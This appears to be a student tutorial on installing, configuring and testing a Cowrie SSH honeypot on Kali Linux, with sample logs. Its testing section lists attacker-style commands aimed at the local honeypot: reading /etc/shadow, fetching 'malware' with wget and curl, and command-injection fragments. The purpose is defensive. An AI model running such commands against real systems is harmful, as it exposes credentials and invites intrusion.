Project Title: Setting Up and Testing a Honeypot

Here we will use cowrie honeypot software and Linux (kali) distribution system for setting up and testing honeypot

Steps to Install and Configure Cowrie

Step 1: Update the System

We need to make sure that system is up to date.

sudo apt-get update

sudo apt-get upgrade -y

Step 2: Install Dependencies

Install the necessary dependencies for Cowrie.

sudo apt-get install git python3-virtualenv libssl-dev libffi-dev build-essential -y

Step 3: Clone the Cowrie Repository

Clone the Cowrie repository from GitHub.

git clone https://github.com/cowrie/cowrie

cd cowrie

Step 4: Set Up the Virtual Environment

Create and activate a virtual environment for Cowrie.

virtualenv --python=python3 cowrie-env

source cowrie-env/bin/activate

Step 5: Install Python Dependencies

Install the required Python packages using the provided `requirements.txt` file.

pip install --upgrade pip

pip install -r requirements.txt

Step 6: Configure Cowrie

Copy the default configuration file and edit it to your needs.

cp etc/cowrie.cfg.dist etc/cowrie.cfg

nano etc/cowrie.cfg

Configuration Example:

Setting up configuration by editing the etc/cowrie.cfg file by following:

[honeypot]

 # Change the hostname to something realistic

hostname = honeypot-server

[ssh]

enabled = true

listen_port = 2222 # Non-standard port to avoid conflicts

[telnet]

enabled = true

listen_port = 2223 # Non-standard port to avoid conflicts

[output_textlog]

enabled = true

logfile = log/cowrie.log

[output_jsonlog]

enabled = true

logfile = log/cowrie.json

Step 7: Start Cowrie

Start Cowrie using the provided scripts.

bin/cowrie start

Step 8: Verify Cowrie is Running

Check the logs to ensure Cowrie started correctly.

tail -f log/cowrie.log

Testing Honeypot:

Now for testing we try to log in by using tcp or ssh, and execute commands or download file.

Basic SSH Connection

First, connect to the Cowrie honeypot via SSH or telnet:

```
ssh root@localhost -p 2222
```

```
or
```

```
telnet root@loaclhost 2222
```

Directory Navigation

Navigate through directories and list contents:

```
cd /home
ls
cd /
ls
```

Reading Files

Attempt to read common files:

```
cat /etc/passwd
cat /etc/hosts
cat /etc/shadow
```

File Downloads

Simulate file download attempts using `wget` or `curl`:

```
wget http://example.com/malware
curl -O http://example.com/malware
```

File Uploads

Attempt to upload files using `scp`:

```
scp localfile.txt root@localhost:/tmp -P 2222
```

Command Injection

Try command injection techniques to see how Cowrie logs these:

```
; ls
&& whoami
| uname -a
```

Network Scanning

Simulate network scanning commands:

```
nmap localhost
ping -c 4 google.com
```

Create and Edit Files

Create and edit files to see how file operations are logged:

```
echo "Honeypot test" > /tmp/testfile.txt
nano /tmp/testfile.txt
```

These will generate below like Log Messages:

Typical Log Messages

- **Connection Attempts:**
  - Logs indicating new connections to the honeypot.
  - Source IP addresses and ports.
- **Login Attempts:**
  - Successful and failed login attempts.
  - Usernames and passwords used.
- **Command Execution:**
  - Commands executed by attackers.
  - Commands that failed or were not found.
- **File Downloads:**
  - Attempts to download files.
  - URLs and filenames involved.

Example Log Scenario

1. **New Connection:**

   ```
   2024-06-06T10:34:56.123456+0000 [cowrie.ssh.factory.CowrieSSHFactory]
   New connection: 192.168.1.100:2222 (192.168.0.107:12345) [session:
   TT000001]
   ```

2. **Login Attempt:**

   ```
   2024-06-06T12:35:01.123456+0000 [cowrie.ssh.factory.CowrieSSHFactory]
   login attempt [root/root] succeeded
   ```

3. **Command Execution:**

   ```
   2024-06-06T10:35:03.123456+0000 [SSHService 'ssh-connection'] executing
   command "ls"
   ```

4. **Failed Command:**

   ```
   2024-06-06T10:35:05.123456+0000 [SSHService 'ssh-connection'] Command
   not found: 'wget'
   ```

We can monitor these types of logs to observe the suspicious behavior, attacks or unauthorized activity and safeguard the system by taking measure accordingly.